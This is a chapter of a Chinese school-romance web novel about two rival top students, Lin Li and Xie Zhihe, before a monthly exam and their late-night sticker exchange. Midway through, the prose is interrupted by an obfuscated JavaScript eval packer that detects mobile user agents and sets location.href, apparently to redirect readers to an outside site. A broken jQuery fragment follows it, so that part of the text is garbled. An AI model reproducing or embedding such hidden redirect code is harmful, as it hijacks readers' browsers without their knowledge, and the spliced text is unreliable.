杂志事件之后，李浩宇郑重其事地在全班面前向林黎和全班女生道了歉。那一刻教室里安静得出奇，连最爱吃瓜的江语星都收起了笑。
林黎没多说什么，只淡淡点头，转头继续看题。
那之后，仿佛一切都翻了篇，连秋天的气温都骤然降了几度。国庆节临近，可秀川高中的气氛却一点儿也不轻松。
要想过好这个国庆节，就看这次月考了。老师们铆足劲替学生复习，连体育课都被数学老师“暂借”了三次。每次下课铃响，都有人抱着卷子狂奔去办公室堵老师问题。
林黎也不例外。
她像是突然开了挂，课间泡在题海里，放学回家还要写到凌晨。晚自习谢知贺递水给她，她连眼都不抬一下，只冷冷回了句：“谢谢，不渴。”
谢知贺一怔，手收回去时握得更紧了些。
两人之间本来算是越走越近，可自从林黎下定决心要在这次月考“干掉”谢知贺后，那份若有若无的默契就像被人按了暂停键。
不再讨论题，不再交换笔记，就连早上碰面时的“早啊”也被林黎的沉默硬生生吞回肚子里。
谢知贺不说什么，但有时目光仍会悄悄落在她身上。
他发现林黎连侧脸都比以前更锋利了些，像把藏在书页间的小刀，不动声色地卷起一场秋风。
月考前两天，晚自习延长了一小时。
教学楼灯火通明，像整栋楼都被高压情绪紧紧压着。
讲台下，有人趴桌子，有人翻错题本，更多人刷着各种名校模拟卷，眼神焦躁，呼吸急促。
林黎也焦躁。
一道函数综合题她已经写了三遍，依旧卡在关键的变量替换上。她反复按着自动铅笔的动作都有些变形，铅笔芯已经被摁断了两根。
“靠……”她低声骂了一句，耳尖却泛起薄红。
她知道自己不是不会，只是太想赢，想赢谢知贺，想拿第一名，好像那样才能证明点什么。
桌边突然出现一张纸。
她下意识抬头——谢知贺坐在她身侧，一言不发地把一张纸放在了她的题本旁边。
上面是她刚才写的那道函数题。
他的字一如既往冷静漂亮，解题过程完整清晰，不仅写出了解法，还特意用铅笔标注了她卡壳的地方——一个小小的变量遗漏，像是千军万马过独木桥时绊了一下。
“你笔压太重，前面纸快破了。”他语气平淡，说完就要转身回座。
林黎张了张嘴，想说什么，又觉得嗓子发涩。
她握紧那张解题纸，指节发白。
一会儿后，她轻声道：“谢知贺，谢谢你。”
那声音不高，却像水落石穿，把两人之间那层无形的紧绷拉扯轻轻松开了一些。
谢知贺回头看她一眼，嘴角抿得紧，但眼里终于带了一点微光：“你晚上别再熬太晚。”
“嗯。”
那晚下了夜自习，林黎偷偷把那张纸压进了笔记本夹层。
她没说，其实她一眼就认出来了，那是谢知贺的演算草稿纸——带着他浅浅的笔迹和一小道被揉皱又抚平的折痕。
*
离月考还有两天，林黎在房间里一页页地刷题，笔尖“唰唰”地扫过纸面，连敲门声都差点没听见。
“阿黎，妈妈进来啦。”
秋玉澜推门进来，手里端着一小碗水果沙拉，西瓜、蓝莓、芒果切得整整齐齐，颜色鲜艳，表面还撒了点椰蓉。
“眼睛都快贴书上了，休息一下，吃点水果。”
她把碗放到桌角，又顺手替林黎把落在肩头的碎发别到耳后。
林黎捏了下鼻梁：“马上，最后一道题了。”
秋玉澜没催，只是笑了笑：“别给自己太大压力，你已经很努力了。你妈我那时候可没你读书时候那么拼，看到你这样都心疼。”
“我就是想考好一点。”
林黎声音闷闷的。
秋玉澜叹了口气，也没再说什么。
临走时还不忘回头交代一句：“别熬太晚，十二点前必须睡觉，不然明天脸色又要难看。”
“知道啦。”林黎答应着，嘴角却忍不住弯了一下。
快到十一点的时候，林百川敲门把门推开一条缝：“要不要爸爸帮你把资料打印出来？”
林黎转头，笑着摇头：“电子版就行啦，我手机上看。”
林百川点点头，又说：“那我给你热了牛奶放在厨房，别忘了喝了再睡。”
“好——爸你也早点休息。”
门关上的时候，房间里又只剩下她一个人。窗外夜色深沉，偶尔有风吹动树叶的沙沙声传进来。
林黎吃了几口水果，随即将果盘往旁边一推，重新伏回题海。
林黎其实不是那种非得争强好胜的人，可自从谢知贺转来之后，她就再没拿过年级第一。几次周测，差距不大，但每一次她都落在了他后头。
她嘴上没说，平日也装得云淡风轻，可她知道，自己其实一直很在意。
林黎不是不努力。她只是……不想轻易就输给别人。
尤其是，谢知贺那样的人——安静、沉稳、从不张扬，却偏偏耀眼得叫人不敢直视。
她也想保持她的第一名，不仅是为了别人看，更是为了证明，她林黎，也可以站在最前面。
哪怕再累，她也不想轻易被拉开。
晚上十一点半，林黎洗了澡，抱着一杯温热牛奶坐在床沿。
屋里只亮着床头那盏昏黄小灯，投下柔软而安静的光。
她手里还捏着练习册，脑子却已经有些迟钝。喝了两口牛奶，她强迫自己看完最后一道题，才终于合上本子，准备熄灯。
手机这时候亮了一下。
是谢知贺。
他的头像是一张偏暗调的黑白照片，看不清具体背景，只隐约能看到一个模糊的侧影。
侧影的人身形修长，低着头，好像在抽烟，但烟雾被处理得朦胧，像是刻意模糊了细节。
整张头像几乎被浓浓的黑灰占满，只在轮廓边缘透着一点冷光，像极了他本人——
安静、克制、疏离，却又藏着点不动声色的锋利。
林黎第一次看到这个头像时就觉得：
这人，微信头像也这么冷，好像连像素都在保持距离。
后来她盯着那张头像看得久了，才发觉，那张图上好像不是烟。
是雾，是雨，是某个黑伞下的夜色。
这黑头像难得发消息，还只发了个：【早点睡觉】的表情包。
表情包是一只小兔子抱着枕头在打哈欠，软萌程度与他的头像简直割裂。
林黎盯着那条消息愣了两秒，下意识咬了咬杯沿。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765558|174568||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这个时间点，他竟然也还没睡。
她没立刻回复，翻来覆去盯着那个表情包看了一会儿，嘴角还是忍不住微微扬了一点。
林黎放下杯子，躺进被窝，手指在键盘上敲了几个字又删掉，最后只回了一句——【知道了，你也早点睡。】
发出去后，她又迅速加上了个兔子咧嘴笑的表情。
信息刚发完，对方就回了一个“嗯”的表情包，还是一只萌兔子，不过这次是打着伞走路的，头上还有点雨。
林黎盯着那只兔子看了一会儿，忽然想起那天的雨天和那把黑伞。
心头有点软，也有点暖。
林黎把手机塞进枕边，拉好被子，闭上眼睛。
窗外风还在吹，月光很淡，但她却睡得意外地好。
*
夜深了，谢知贺坐在书桌前，伏在那本被翻得起了毛边的物理题册上，笔还停在刚写完的公式边，没动。
窗外的风把小区的树吹得哗啦啦响，风打在玻璃上，一下一下，像是无声地提醒他：已经很晚了。
屋子里太静了。
除了偶尔风灌进窗缝的呜鸣，剩下的，只有钟表“哒哒”的指针声和他呼吸的动静。
墙角的台灯亮着，把他影子拖得老长。屋内一片冷调，像压抑到极致的黑白片，连空气都是沉的。
厨房空着，沙发空着，整间屋子干净得像个样板间。
他父母又出差了，出门前只是留了几句“记得吃饭”“有事打电话”，还有一张纸条，贴在冰箱上，已经卷起了一角。
谢知贺低头，揉了揉额角。
他并不讨厌安静，可这样的安静久了，像是把人困在一个密闭的盒子里，连呼吸也小心翼翼。
他忽然想起了林黎。
这几天的她，总是皱着眉，一脸疲惫地趴在桌上写卷子。
她早上来得很早，晚上走得很晚。上课时总是伏在书上，眼神专注得像是在与时间赛跑；课间也不爱说话了，偶尔抬头，眉间都绷着一股紧。
她没再跟他拌嘴，连眼神也少了交集。明明在同一个教室，相邻的桌子，彼此却像隔着一层无形的透明墙。
谢知贺拿起手机，指尖在屏幕上犹豫了一会，最后点开她的对话框。
她的头像是可爱的粉色兔子，软萌又乖巧，透出与她整个人不太符合的天真孩子气。他盯着那个头像看了几秒，鬼使神差地发了个表情包过去。
是一只趴着打哈欠的小兔子，上面写着“早点睡觉”。
发出去之后他又后悔了，觉得自己有些幼稚，像个无聊的小孩。
但他的手指却迟迟没有移开屏幕。
一分钟。
两分钟。
他正准备锁屏放下手机，突然，消息回了。
林黎：【知道了，你也早点睡。】
谢知贺怔了一下，盯着那几个字看了很久。
随即她又发了一只小兔子表情包，让他不自觉一笑。一句话，一只表情包，不多也不少，却像轻轻地伸出手，在这冷清的夜里拍了拍他的肩。
谢知贺忽然弯起了唇角，很浅，但真切。他又回了个嗯的兔子表情包，随即慢慢放下手机，靠进椅背，仰头闭了闭眼。
窗外风还在刮，屋里依旧空无一人。
可那一刻，他突然觉得，好像也没那么孤单了。